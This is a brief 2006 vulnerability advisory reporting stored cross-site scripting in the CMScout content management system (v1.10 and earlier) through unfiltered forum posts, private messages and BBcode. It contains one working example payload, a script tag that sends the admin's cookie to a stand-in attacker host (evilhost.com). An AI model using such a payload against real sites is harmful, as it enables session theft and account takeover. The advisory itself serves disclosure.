Cmscout <= V1.10 multiple XSS attack vectors Discovered by: Nomenumbra Date: 5/2/2006 impact:moderate (privilege escalation,possible defacement) CMScout is a CMS (Content management system) for scouting related groups from around the world. A CMS is a piece of web software that makes it easy for you to install, and manage a website. CMScout includes all the features of other major CMS's that are available (Like PHP-Nuke, Mambo, e107, etc.). Added news items and events are properly filtered for potential XSS input, input in the forums and PM's however, is not. For example, when one would send a pm to the admin like this: Subject: whatever Body: <script>window.navigate('http://www.evilhost.com/cookiestealer.php?c='+d ocument.cookie)</script> we could obtain the admin's cookie. The inside of BBcode isn't filtered either. This goes for the forums too. Nomenumbra/[0x4F4C]
